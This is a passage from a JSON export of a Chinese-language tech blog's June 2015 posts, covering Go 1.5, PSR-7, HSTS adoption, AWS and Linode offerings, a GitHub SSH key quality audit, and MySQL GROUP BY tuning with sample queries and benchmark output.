    "body": "<a href=\"http://nf.wh3rd.net/\">Andrew Gerrand</a> 在「<a href=\"https://talks.golang.org/2015/state-of-go-may.slide\">The State of Go - Where we are in May 2015</a>」這份投影片裡面提到了不少 1.5 的改變與改善，預定在今年八月釋出。\r\n\r\n首先是全部都改用 Go 寫，不再需要 C 語言的協助了：\r\n\r\n<blockquote>The gc tool chain has been converted from C to Go.</blockquote>\r\n\r\n而效能上的改善最大的是 GC 的部份：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Iqz0xB3.webp\" /><img src=\"https://i.gslin.com/imgur/Iqz0xB3.jpg\" alt=\"\" /></picture>\r\n\r\n另外是對行動平台的發展：\r\n\r\n<blockquote>Go 1.5 provides support for Android and experimental support for iOS.</blockquote>\r\n\r\n這樣變得頗有趣的，自家的 <a href=\"https://www.android.com/\">Android</a> 有打算換掉 <a href=\"https://www.java.com/\">Java</a> 嗎？",
    "title": "Go 1.5 的進展"
  },
  {
    "id": "5804",
    "body": "<a href=\"http://www.php-fig.org/\">PHP-FIG</a> 前幾天公告了 PSR-7 (<a href=\"https://github.com/php-fig/fig-standards/commit/d40b64cc4e64e5a5b2fe998bb0a07d0b56e12505\">commit d40b64cc4e64e5a5b2fe998bb0a07d0b56e12505</a>)，也就是 <a href=\"http://www.php-fig.org/psr/psr-7/\">HTTP message interfaces</a>。\r\n\r\n由於 PSR 的編號只是提案順序，通過不一定會照順序。只是之前剛剛好都照著順序來 (<a href=\"http://www.php-fig.org/psr/psr-0\">PSR-0</a> 到 <a href=\"http://www.php-fig.org/psr/psr-4/\">PSR-4</a>)，這次跳到 PSR-7 是跳過了 PSR-5 (PHPDoc Standard) 與 PSR-6 (Caching PSR)。\r\n\r\n有了對 HTTP request 與 HTTP response 的標準後，可以馬上想到的是 routing library 與 controller library 可以接上去用，測試會變的簡單一些... 之後應該會有其他的想法可以做？",
    "title": "PSR-7：HTTP message interfaces"
  },
  {
    "id": "5805",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 宣佈支援 PGP 機制：「<a href=\"https://www.facebook.com/notes/protect-the-graph/securing-email-communications-from-facebook/1611941762379302\">Securing Email Communications from Facebook</a>」。\r\n\r\n有兩個功能，首先是可以讓別人查詢。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7c0iSag.webp\" /><img src=\"https://i.gslin.com/imgur/7c0iSag.jpg\" alt=\"\" /></picture>\r\n\r\n另外一個是可以要求 Facebook 寄給你的信件都用這把 Key 加密。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/16j0FiH.webp\" /><img src=\"https://i.gslin.com/imgur/16j0FiH.jpg\" alt=\"\" /></picture>\r\n\r\n如果有 API 可以拉出資料的話就更好了...",
    "title": "Facebook 支援 PGP 機制"
  },
  {
    "id": "5806",
    "body": "Velocity 2015 上的「<a href=\"https://docs.google.com/presentation/d/1r7QXGYOLCh4fcUq0jDdDwKJWNqWK1o4xMtYpKZCJYjM/present\">HTTP/2 is here, let's optimize!</a>」提到了很多關於 HTTP/1.1 時代所採用的 Best Practice (或者說，workaround) 變成了 HTTP/2 的問題。\r\n\r\n這張表整理了各種技巧在 HTTP/1.1 與 HTTP/2 的差異：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2iTXxPq.webp\" /><img src=\"https://i.gslin.com/imgur/2iTXxPq.jpg\" alt=\"\" /></picture>\r\n\r\n在 HTTP/2 因為有了 multiplexing 機制，用了 Apply domain sharding 後反而增加 DNS query 以及開新的連線所需要的 handshake 時間。\r\n\r\n而 Concatenate resources 也算是 workaround 的一種，不同等級的合併會有不同的 trade-off。全站合併 assets 可以讓常逛的使用者下載的量降到最低，但會讓第一次讀取的使用者花比較多時間下載。如果是單頁合併 assets，則剛好反過來：第一次讀取的使用者較快，但常逛的使用者會下載重複的內容。\r\n\r\n最後的 Inline resources，作者則是提出利用 HTTP/2 提供的 server push 機制來改善，不過沒看懂...\r\n\r\n有些 workaround 總算可以拋開了...",
    "title": "HTTP/1.1 時代的 Best Practice 變成 HTTP/2 的問題"
  },
  {
    "id": "5807",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到有人針對 <a href=\"https://github.com/\">GitHub</a> 上的 Public Key 分析：「<a href=\"https://blog.benjojo.co.uk/post/auditing-github-users-keys\">Auditing GitHub users’ SSH key quality</a>」。\r\n\r\n這個分析主要用的是 GitHub 的 <code>.keys</code> 功能取得：\r\n\r\n<blockquote>A little known feature of GitHub is the ability to look at the public SSH keys that other users have set to be authorised on their account (for example <a href=\"https://github.com/torvalds.keys\">https://github.com/torvalds.keys</a>)</blockquote>\r\n\r\n作者從去年 2014 年 12 月 27 日跑到今年 2015 年 1 月 9 日，共取得了 1376262 把 public key，然後就針對這些 key 分析。\r\n\r\n「The Debian bug bites again」這一段講的是 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0166\">CVE-2008-0166</a> (可以參考「<a href=\"http://blog.nutsfactory.net/2008/05/14/time-to-generate-new-ssh-keys/\">該換 ssh keys 了</a>」這篇的說明)，發現即使是七年後的現在，也還是有問題。\r\n\r\n另外還有 256 bits 與 512 bits 的 RSA key，作者自己建立了一把測試，用 i5-2400 只要 25 分鐘就可以解出 256 bits 的 private key：\r\n\r\n<blockquote>This risk isn’t only real if someone had gathered together top of the line mathematicians or supercomputers worth of power, the 256 bit key I factored was factored on a i5-2400 in 25 mins.</blockquote>\r\n\r\n<a href=\"https://www.nsa.gov/\">NSA</a> 應該都摸透了...\r\n\r\n作者提供的時間線：\r\n\r\n<blockquote>[27th December 2014] Key Crawl Started\r\n[28th Feb 2015] Disclosed low bits issue to a peer at GitHub\r\n[1st March 2015] Discovered the weak Debian Keys (and disclosed)\r\n[5th May 2015] Debian keys revoked, emails sent out\r\n[1st June 2015] Weak and low quality keys revoked</blockquote>",
    "title": "對 GitHub 的 Public Key 分析"
  },
  {
    "id": "5808",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2015/06/03/optimizing-percona-xtradb-cluster-write-hotspots/\">Optimizing Percona XtraDB Cluster for write hotspots</a>」這篇說明了在 <a href=\"http://galeracluster.com/products/\">Galera Cluster</a> 上發生多個 transaction 衝突時的處理方式。\r\n\r\n不過解法是早就已經知道的方法，也就是把寫入都丟到同一台上處理：\r\n\r\n<blockquote>So what are your options with PXC when the workload has write hotspots? The most obvious one is to write on a single node: then you will have the same locking model as with a standalone InnoDB server. Performance will not be as good as with a standalone server as you will have to pay for synchronous replication, but you will avoid the very expensive write conflicts.</blockquote>\r\n\r\n講解的文章，對之後 troubleshooting 與 performance tuning 有幫助...",
    "title": "Galera Cluster (Percona XtraDB Cluster) 對寫入熱點的處理方式"
  },
  {
    "id": "5810",
    "body": "<a href=\"https://github.com/\">GitHub</a> 宣佈成立日本辦公室：「<a href=\"https://github.com/blog/2017-announcing-github-japan\">Announcing GitHub Japan</a>」，日本的官網在「<a href=\"http://github.co.jp/\">GitHub Japan</a>」這邊。比較意外的是日本官網是不支援 HTTPS 的。\r\n\r\n辦公室在東京都港區 (<a href=\"http://github.co.jp/about/\">PMO 芝大門 7F、東京都港区芝大門 1-10-18</a>)，也許下次去的時候去樓下看看...",
    "title": "GitHub 成立日本辦公室"
  },
  {
    "id": "5811",
    "body": "<a href=\"https://pipes.yahoo.com/\">Yahoo Pipes</a> 宣佈 8/30 進入唯讀模式，9/30 關閉：「<a href=\"http://pipes.yqlblog.net/post/120705592639/pipes-end-of-life-announcement\">Pipes End-of-life Announcement</a>」。\r\n\r\n替代方案只想的到 <a href=\"https://ifttt.com/\">IFTTT</a>，不知道有沒有其他的...",
    "title": "Yahoo Pipes 宣佈停業..."
  },
  {
    "id": "5812",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的 Root Certificate 與 Intermediate Certificate 建出來了：「<a href=\"https://letsencrypt.org/2015/06/04/isrg-ca-certs.html\">Let's Encrypt Root and Intermediate Certificates</a>」。\r\n\r\nIntermediate Certificate 除了會讓自己的 Root Certificate 簽名外，也會讓 <a href=\"https://www.identrust.com/\">IdenTrust</a> 的 DST Root CA X3 簽 (目前各大瀏覽器與 SSL library 都有支援)。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/81rV6Gm.webp\" /><img src=\"https://i.gslin.com/imgur/81rV6Gm.jpg\" alt=\"\" /></picture>\r\n\r\n目前是 <a href=\"https://en.wikipedia.org/wiki/RSA_(cryptosystem)\">RSA</a> key，之後會生出 <a href=\"https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm\">ECDSA</a> key：\r\n\r\n<blockquote>All ISRG keys are currently RSA keys. We are planning to generate ECDSA keys later this year.</blockquote>",
    "title": "Let's Encrypt 建立 Root Certificate 與 Intermediate Certificate"
  },
  {
    "id": "5813",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 推出 <a href=\"https://play.google.com/store/apps/details?id=com.facebook.lite\">Facebook Lite</a> (<a href=\"https://www.android.com/\">Android</a>)：「<a href=\"https://newsroom.fb.com/news/2015/06/announcing-facebook-lite/\">Announcing Facebook Lite</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/jA6T6bH.jpg\" alt=\"\" />\r\n\r\n與完整版的差異在於對網路的使用量會更低，以及使用的資源會更少：\r\n\r\n<blockquote>Today we’re introducing Facebook Lite, a new version of Facebook for Android that uses less data and works well across all network conditions.</blockquote>\r\n\r\n<blockquote>Facebook Lite is less than 1MB so it is fast to install and quick to load. It includes Facebook’s core experiences like News Feed, status updates, photos, notifications and more.</blockquote>\r\n\r\n之前就先有先推出了，不過現在開放給更多地區使用：\r\n\r\n<blockquote>Starting today, we are rolling out Facebook Lite in countries across Asia, and over the coming weeks Facebook Lite will be available in parts of Latin America, Africa and Europe.</blockquote>",
    "title": "Facebook 推出 Facebook Lite"
  },
  {
    "id": "5815",
    "body": "今天的 <a href=\"https://www.facebook.com/\">Facebook</a> 慢到爆炸，看起來像是台灣機房的問題，這邊先提供 workaround：\r\n\r\n<blockquote><strong>把 DNS 改用 8.8.8.8，看起來 DNS 會解去洛杉磯的機房，速度就會正常多了。</strong></blockquote>\r\n\r\n接下來列出看到的結果，靜態的頁面 (拿 <code>/robots.txt</code> 測試) 沒問題：\r\n\r\n<pre>Server Software:        \r\nServer Hostname:        www.facebook.com\r\nServer Port:            443\r\nSSL/TLS Protocol:       TLSv1.2,ECDHE-ECDSA-AES128-GCM-SHA256,256,128\r\n\r\nDocument Path:          /robots.txt\r\nDocument Length:        4159 bytes\r\n\r\nConcurrency Level:      1\r\nTime taken for tests:   0.792 seconds\r\nComplete requests:      20\r\nFailed requests:        0\r\nTotal transferred:      99000 bytes\r\nHTML transferred:       83180 bytes\r\nRequests per second:    25.24 [#/sec] (mean)\r\nTime per request:       39.612 [ms] (mean)\r\nTime per request:       39.612 [ms] (mean, across all concurrent requests)\r\nTransfer rate:          122.03 [Kbytes/sec] received\r\n\r\nConnection Times (ms)\r\n              min  mean[+/-sd] median   max\r\nConnect:       28   30   0.6     30      31\r\nProcessing:     9   10   0.3     10      10\r\nWaiting:        9    9   0.2      9      10\r\nTotal:         38   39   0.7     39      41\r\n\r\nPercentage of the requests served within a certain time (ms)\r\n  50%     39\r\n  66%     40\r\n  75%     40\r\n  80%     40\r\n  90%     40\r\n  95%     41\r\n  98%     41\r\n  99%     41\r\n 100%     41 (longest request)</pre>\r\n\r\n但動態的頁面就慢到炸：\r\n\r\n<pre>Server Software:        \r\nServer Hostname:        www.facebook.com\r\nServer Port:            443\r\nSSL/TLS Protocol:       TLSv1.2,ECDHE-ECDSA-AES128-GCM-SHA256,256,128\r\n\r\nDocument Path:          /\r\nDocument Length:        0 bytes\r\n\r\nConcurrency Level:      1\r\nTime taken for tests:   20.294 seconds\r\nComplete requests:      20\r\nFailed requests:        0\r\nNon-2xx responses:      20\r\nTotal transferred:      6700 bytes\r\nHTML transferred:       0 bytes\r\nRequests per second:    0.99 [#/sec] (mean)\r\nTime per request:       1014.690 [ms] (mean)\r\nTime per request:       1014.690 [ms] (mean, across all concurrent requests)\r\nTransfer rate:          0.32 [Kbytes/sec] received\r\n\r\nConnection Times (ms)\r\n              min  mean[+/-sd] median   max\r\nConnect:       28   30   0.9     29      32\r\nProcessing:   151  985 1144.5    567    4939\r\nWaiting:      151  985 1144.5    567    4938\r\nTotal:        180 1014 1145.1    597    4971\r\nWARNING: The median and mean for the initial connection time are not within a normal deviation\r\n        These results are probably not that reliable.\r\n\r\nPercentage of the requests served within a certain time (ms)\r\n  50%    597\r\n  66%   1226\r\n  75%   1279\r\n  80%   1667\r\n  90%   2267\r\n  95%   4971\r\n  98%   4971\r\n  99%   4971\r\n 100%   4971 (longest request)</pre>",
    "title": "超慢的 Facebook..."
  },
  {
    "id": "5816",
    "body": "<a href=\"https://www.etsy.com/\">Etsy</a> 的 <a href=\"https://laur.ie/\">Laurie Denness</a> 對於 Etsy 使用各種品牌 SSD 的情況給出了他的經歷：「<a href=\"https://laur.ie/blog/2015/06/ssds-a-gift-and-a-curse/\">SSDs: A gift and a curse</a>」。\r\n\r\n重點在於開頭說的：\r\n\r\n<blockquote>SSD firmware is buggy</blockquote>\r\n\r\n可以看到當 SSD 配上 RAID controller 的時候，常常會需要找問題... (而且很難找)\r\n\r\n<a href=\"http://www.intel.com/\">Intel</a> 的評價很不錯：\r\n\r\n<blockquote>Okay, bad start, we’ve actually had no issues with Intel. This seems to be common across other companies we’ve spoken to.</blockquote>\r\n\r\n<a href=\"http://ocz.com/\">OCZ</a> 倒了，被 <a href=\"http://www.toshiba.com/\">Toshiba</a> 收購，而且 <a href=\"https://en.wikipedia.org/wiki/S.M.A.R.T.\">S.M.A.R.T.</a> 資訊很差，很難預測什麼時候會掛掉 (有助於提前替換)：\r\n\r\n<blockquote>However, they had poor SMART info (none) so predicting failures was hard.</blockquote>\r\n\r\n<a href=\"http://www.hp.com/\">HP</a> 是個大黑盒：\r\n\r\n<blockquote>Unfortunately, HP have proprietary RAID controllers, and they don’t support SMART. Or rather, they refuse to talk to non-HP drives using off the shelf technology, they have their own methods.</blockquote>\r\n\r\n<a href=\"http://www.samsung.com/\">Samsung</a> 的評價不錯，C/P 值很高，而且有 S.M.A.R.T.：\r\n\r\n<blockquote>Samsung saved the day and picked up from OCZ with a ludicrously cheap 960GB offering, the 840 EVO. A consumer drive, so very limited warranty, but for the price (~$400-500) you got great IOPS and they were reliable. They had better SMART info, and seemed to play nicely with our hardware.</blockquote>\r\n\r\n不過 BB6Q 版的韌體搞爆了效能，雖然最後修好了：「<a href=\"http://www.anandtech.com/show/8617/samsung-releases-firmware-update-to-fix-the-ssd-840-evo-read-performance-bug\">Samsung Releases Firmware Update to Fix the SSD 840 EVO Read Performance Bug</a>」。\r\n\r\n而 <a href=\"http://www.liteon.com/\">LiteOn</a> 則是掛在 GC 上 (RAID 裡同時掛掉兩顆以上)：\r\n\r\n<blockquote>The SSDs were having extended garbage collection periods, exacerbated by a smaller amount of SSDs with higher IO, in RAID6. This caused the controller to kick the drive out of the array… and unfortunately due to the write levelling across the drives, at least two of them were garbage collecting at the same time, destroying the array integrity.</blockquote>\r\n\r\n不過後來 <a href=\"http://www.dell.com/\">Dell</a> 與 LiteOn 分別就 RAID controller 與 SSD 本身都跳下去修正，最後還是解決了：\r\n\r\n<blockquote>Dell and LiteOn together identified and fixed weaknesses in their RAID controller, the backplane and the SSD firmware.</blockquote>\r\n\r\n算是經驗分享，在 SSD 硬碟成熟的過程中間必經的道路 XD",
    "title": "Etsy 用 SSD 的故事"
  },
  {
    "id": "5819",
    "body": "<a href=\"https://aws.amazon.com/vpc/\">Amazon VPC</a> 發表新功能，可以紀錄流量流經 VPC 的 metadata：「<a href=\"https://aws.amazon.com/blogs/aws/vpc-flow-logs-log-and-view-network-traffic-flows/\">VPC Flow Logs – Log and View Network Traffic Flows</a>」。\r\n\r\n依照官方的圖片，可以看到資料很陽春 (看起來是 unix timestamp 的欄位，然後出現 6/17，應該是 TCP/UDP？)，不過至少有紀錄可以看了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rmvAwTI.webp\" /><img src=\"https://i.gslin.com/imgur/rmvAwTI.jpg\" alt=\"\" /></picture>\r\n\r\n算是 <a href=\"https://en.wikipedia.org/wiki/IP_Flow_Information_Export\">IPFIX</a> 的一種？",
    "title": "Amazon VPC 的流量紀錄 (Flow Logs)"
  },
  {
    "id": "5820",
    "body": "<a href=\"https://aws.amazon.com/redshift/\">Amazon Redshift</a> 是以 SQL 介面操作的方式分析 data warehouse 的資料，可以利用多台機器平行計算加速。\r\n\r\n這次 Amazon Redshift 提供了新的硬體規格出來 (ds2.* 系列)：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-redshift-now-faster-and-more-cost-effective-than-ever/\">Amazon Redshift – Now Faster and More Cost-Effective than Ever</a>」。\r\n\r\nds2.* 與原來 ds1.* 的價錢都一樣，但是 vCPU 與記憶體都加倍，網路與 I/O 速度都升級了。如果沒有買 Reversed Instance (RI) 的人可以換過去，有買的人就再想辦法吧... \r\n\r\n然後 Amazon Redshift 的 RI 模式也與 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的 RI 架構相同了，有三種選擇。",
    "title": "Amazon Redshift 的新硬體規格"
  },
  {
    "id": "5821",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 推出了靜態分析工具 <a href=\"http://fbinfer.com/\">Facebook Infer</a>，可以事先找出 <a href=\"https://www.android.com/\">Android</a> 與 <a href=\"https://www.apple.com/ios/\">iOS</a> 上的 bug：<a href=\"https://code.facebook.com/posts/1648953042007882\">Open-sourcing Facebook Infer: Identify bugs before you ship</a>。\r\n\r\n<img src=\"https://i.gslin.com/imgur/giQfciL.gif\" alt=\"\" />\r\n\r\n從官方給的操作動畫中就可以看出來怎麼跑了。目前看起來支援三種程式語言，C、Objective-C、Java：\r\n\r\n<blockquote>Facebook Infer is a static analysis tool - if you give Infer some Objective-C, Java, or C code, it produces a list of potential bugs.</blockquote>\r\n\r\n在 Android 上 (Java) 會找出的類型：\r\n\r\n<blockquote>Infer reports null pointer exceptions and resource leaks in Android and Java code.</blockquote>\r\n\r\niOS 上則只找 memory leak：\r\n\r\n<blockquote>In addition to this, it reports memory leak problems in iOS and C code.</blockquote>\r\n\r\n比較特別的是，這個工具是用 <a href=\"https://ocaml.org/\">OCaml</a> 寫：\r\n\r\n<blockquote>Infer is a static analysis tool for Java, Objective-C and C, written in OCaml.</blockquote>",
    "title": "Facebook 推出靜態分析工具：Facebook Infer"
  },
  {
    "id": "5822",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出新的一般性機種 m4.* 了：「<a href=\"https://aws.amazon.com/blogs/aws/the-new-m4-instance-type-bonus-price-reduction-on-m3-c4/\">The New M4 Instance Type (Bonus: Price Reduction on M3 &amp; C4)</a>」。\r\n\r\n亮眼在 m4.10xlarge 這組可以控制 C-state 與 P-state，可以利用這兩個對 latency 與整體 performance 調整。\r\n\r\n拿 m4.large 與 m3.large 比較，m4 便宜一些，而且 m4 記憶體比 m3 大一點，但是 m3 有內掛 SSD，m4 需要 <a href=\"https://aws.amazon.com/ebs/\">EBS</a>。如果 I/O 比較重的應用還是用 m3 還是比較好。\r\n\r\n另外一個發表的是 m3.* 在某些地區有些微的降價 (約 5%)，就當作撿到的...？",
    "title": "Amazon EC2 推出新機種：m4.*"
  },
  {
    "id": "5825",
    "body": "<a href=\"https://github.com/\">GitHub</a> 的「<a href=\"https://github.com/blog/2019-how-to-undo-almost-anything-with-git\">How to undo (almost) anything with Git</a>」這篇文章介紹了 <a href=\"https://git-scm.com/\">Git</a> 上各種 undo 的方式。\r\n\r\n主要先分成「已經 push 出去」與「還沒 push 出去」兩種，然後針對 branch 再說一次。\r\n\r\n這份沒有 cover 到所有的方式，但常用的都在裡面提到了，可以先 bookmark 下來，需要用的時候練個幾次就會背起來了。",
    "title": "Git 上各種 Undo 的技巧"
  },
  {
    "id": "5826",
    "body": "<a href=\"https://www.wikimedia.org/\">Wikimeda</a> 宣佈所有旗下的網站都會啟用 HTTPS 與 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a>：「<a href=\"https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/\">Securing access to Wikimedia sites with HTTPS</a>」。\r\n\r\n在這之前，使用者可以用 <a href=\"https://www.eff.org/\">EFF</a> 的 <a href=\"https://www.eff.org/HTTPS-EVERYWHERE\">HTTPS Everywhere</a> 強制使用 HTTPS (在 <a href=\"https://www.mozilla.org/firefox\">Firefox</a> 與 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 都有上架)，而這次則是全面強制使用了。\r\n\r\n愈來愈多人使用 HTTPS 來保護隱私後 (而不僅僅是保護機密資料)，接下來的問題就是要想辦法在 DNS 上保護了。也就是可以利用 DNS query pattern 知道你在看哪種 (或是哪一個) 頁面。",
    "title": "Wikimedia (包括維基百科) 推出 HSTS (強制使用 HTTPS)"
  },
  {
    "id": "5827",
    "body": "本來只有 Windows 10 的 IE11 有支援 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a>，而前幾天的更新則是讓 Windows 7 與 Windows 8.1 的 IE11 也支援了：「<a href=\"http://blogs.windows.com/msedgedev/2015/06/09/http-strict-transport-security-comes-to-internet-explorer-11-on-windows-8-1-and-windows-7/\">HTTP Strict Transport Security comes to Internet Explorer 11 on Windows 8.1 and Windows 7</a>」。\r\n\r\n<blockquote>With today’s monthly security updates (KB 3058515), we’re bringing the protections offered by HSTS to Internet Explorer 11 on Windows 8.1 and Windows 7. HSTS is also available in both Internet Explorer 11 and Microsoft Edge on Windows 10.</blockquote>\r\n\r\n這次的更新讓所有主流瀏覽器都支援 HSTS 了，再加上前一篇「<a href=\"https://blog.gslin.org/archives/2015/06/14/5826/wikimedia-%E5%8C%85%E6%8B%AC%E7%B6%AD%E5%9F%BA%E7%99%BE%E7%A7%91-%E6%8E%A8%E5%87%BA-hsts-%E5%BC%B7%E5%88%B6%E4%BD%BF%E7%94%A8-https/\">Wikimedia (包括維基百科) 推出 HSTS (強制使用 HTTPS)</a>」提到的，愈來愈多人用啦...\r\n\r\n然後據 <a href=\"http://zonble.net/\">zonble</a> 說，iOS 9 有些東西會 HTTPS only (預設值)，該回頭去催自己人支援了 :o",
    "title": "微軟讓 Windows 7 與 Windows 8.1 上的 IE11 支援 HSTS"
  },
  {
    "id": "5828",
    "body": "<a href=\"https://typekit.com/\">Adobe Typekit</a> 宣佈支援 CJK 字型：「<a href=\"http://blog.typekit.com/2015/06/15/announcing-east-asian-web-font-support/\">Announcing East Asian web font support and new font browsing tools for Japanese customers</a>」。中文的公告在「<a href=\"http://blog.typekit.com/alternate/typekit-j-announce-ct/\">正式公開東亞網頁字體支援以及日文客戶適用的全新字體瀏覽工具</a>」這邊。\r\n\r\n這也包括了網頁版的部份。對於 CJK 單一字型檔案過大的問題，與大家的解法也都一樣，取出對應的字組出來給使用者作為 workaround (稱為 Dynamic Subsetting)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/puFPVmp.webp\" /><img src=\"https://i.gslin.com/imgur/puFPVmp.jpg\" alt=\"\" /></picture>\r\n\r\n會稱為這是 workaround 是因為當網路速度愈來愈之後，就會又變成最單純的直接整包下載...\r\n\r\nAnyway，<a href=\"https://www.adobe.com/\">Adobe</a> 這個新功能是一個大邁進，不過他用的 HTTPS (<a href=\"https://www.edgecast.com/\">EdgeCast</a>) 還沒支援 SPDY 或是 HTTP/2 啊... :/",
    "title": "Adobe Typekit 支援 CJK 字型"
  },
  {
    "id": "5832",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2015/06/15/speed-up-group-by-queries-with-subselects-in-mysql/\">Speed up GROUP BY queries with subselects in MySQL</a>」這篇講了 MySQL 在處理 <code>GROUP BY</code> 的效率問題。\r\n\r\n舉原文的例子，也就是這樣的 SQL query：(我把 command 都改成大寫，其他部份都改成小寫)\r\n\r\n<pre>SELECT a.name, SUM(a.count) a_sum, AVG(a.position) a_avg, b.col1, c.col2, d.col3\r\nFROM\r\na JOIN\r\nb ON (a.bid = b.id) JOIN\r\nc ON (a.cid = c.id) JOIN\r\nd ON (a.did = d.id) GROUP BY a.name, b.id, c.id, d.id</pre>\r\n\r\n其中 TABLE a 有 1.3M rows，而 b、c、d 都只有 5 rows。\r\n\r\n由於會需要計算每組 <code>(a.name, b.id, c.id, d.id)</code> 的 <code>SUM(a.count)</code> 與 <code>AVG(a.position)</code>，不可避免的是需要對 TABLE a 完整的掃一次。所以效能的改善會在於可以減少 temporily table 的大小。\r\n\r\n上面這組 SQL query 會先 <code>JOIN</code> 完後再 <code>GROUP BY</code>，也就是會全部先展開後再 <code>GROUP BY</code>。\r\n\r\n由於 <code>GROUP BY</code> 所使用到的條件都可以在 TABLE a 裡面找到，所以這邊可以先 <code>GROUP BY</code> 後再 <code>JOIN</code>，降低 temporily table 的大小：\r\n\r\n<pre>SELECT a.name, a_sum, a_avg, b.col1, c.col2, d.col3\r\nFROM\r\n(SELECT name, SUM(count) a_sum, AVG(position) a_avg, bid, cid, did\r\n FROM a\r\n GROUP BY name, bid, cid, did) a JOIN\r\n b ON (a.bid = b.id) JOIN\r\n c ON (a.cid = c.id) JOIN\r\n d ON (a.did = d.id)</pre>\r\n\r\n原文測試出來的結果是從 2.3 秒降到 1.8 秒：\r\n\r\n<blockquote>The first query took 2.3 sec avg and the optimized query took 1.8 sec average, half a second faster.</blockquote>\r\n\r\n另外一個改善是再加上 covering index：\r\n\r\n<pre>ALTER TABLE a ADD INDEX (name, bid, cid, did, count, position);</pre>\r\n\r\n加上去之後，原來的 query 變成 1.9 秒，而改善後的變成 0.7 秒，速度快很多。不過這是 trade-off，多了這個 index 在寫入時的成本也會增加。",
    "title": "MySQL 在處理 GROUP BY 時選擇 index 的效率問題"
  },
  {
    "id": "5833",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">EC2</a> 推出了新的 t2.large instance：「<a href=\"https://aws.amazon.com/blogs/aws/new-t2-large-instances/\">New T2.Large Instances</a>」。\r\n\r\n價錢剛好是 t2.medium 的兩倍，記憶體也是兩倍 (4GB 對 8GB)，但 CPU 的部份只多了 50%，就如同 <a href=\"http://www.daemonology.net/\">Colin Percival</a> 講的，這看起來很奇怪：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p lang=\"en\" dir=\"ltr\"><a href=\"https://twitter.com/jeffbarr\">@jeffbarr</a> Double the price of t2.medium, double the RAM of t2.medium... but only 50% more CPU? Is that correct? Seems strange.</p>&mdash; Colin Percival (@cperciva) <a href=\"https://twitter.com/cperciva/status/611081823171379201\">June 17, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n不過 t2.* 是真的很好用，反正就當作多一個方案吧...",
    "title": "奇怪的 t2.large instance"
  },
  {
    "id": "5834",
    "body": "<a href=\"https://www.linode.com/\">Linode</a> 前幾天宣佈開始提供 <a href=\"http://www.linux-kvm.org/\">KVM</a>-based hosting：「<a href=\"https://blog.linode.com/2015/06/16/linode-turns-12-heres-some-kvm/\">Linode turns 12! Here’s some KVM!</a>」。\r\n\r\n使用 KVM 最大的進展是可以跑 Windows 了：(這對產品面來說很重要)\r\n\r\n<blockquote>However, we also now support fully virtualized guests – which means you can run alternative operating systems like FreeBSD, BSD, Plan 9, or even Windows – using emulated hardware (PIIX IDE and e1000).</blockquote>\r\n\r\n同時圖形化界面的 console 也會釋出：\r\n\r\n<blockquote>We’re also working on a graphical console (GISH?) which should be out in the next few weeks.</blockquote>\r\n\r\n而現有 Xen 換到 KVM 也包裝得很簡單：\r\n\r\n<blockquote>On a Xen Linode’s dashboard, you will see an “Upgrade to KVM” link on the right sidebar. It’s a one-click migration to upgrade your Linode to KVM from there. Essentially, our KVM upgrade means you get a much faster Linode just by clicking a button.</blockquote>\r\n\r\n而且打算逐步淘汰掉 Xen：\r\n\r\n<blockquote>New customers and new Linodes will, by default, still get Xen. Xen will cease being the default in the next few weeks. Eventually we will transition all Xen Linodes over to KVM, however this is likely to take quite a while. Don’t sweat it.</blockquote>\r\n\r\n不過 Linode 還是沒支援更好的網路環境 (i.e. Private LAN)，對於要架大型服務的人來說還是有技術障礙 :o",
    "title": "Linode 提供 KVM-based hosting 服務"
  },
  {
    "id": "5836",
    "body": "<a href=\"https://github.com/\">GitHub</a> 在 2009 年就開發了一套監控各種 exception 的系統，叫做 Haystack：「<a href=\"http://githubengineering.com/exception-monitoring-and-response/\">Exception Monitoring and Response</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ymNqh7E.webp\" /><img src=\"https://i.gslin.com/imgur/ymNqh7E.jpg\" alt=\"\" /></picture>\r\n\r\n有些人是用 <a href=\"https://airbrake.io/\">Airbrake</a>，不過我們家 (<a href=\"http://www.kkbox.com/\">KKBOX</a>) 是用 <a href=\"https://rollbar.com/\">Rollbar</a>，目前是拿來收集各種前端的 javascript error，之後應該會把 <a href=\"http://php.net/\">PHP</a> 也接上去吧。\r\n\r\n以前都要自己刻這些服務，現在也不用自己架，付錢掛上去用就好...\r\n\r\n順道一提的是，Rollbar 在台灣有代理商可以處理發票的事情，對於稅務處理上面方便一些。",
    "title": "網站發生錯誤例外的監控"
  },
  {
    "id": "5837",
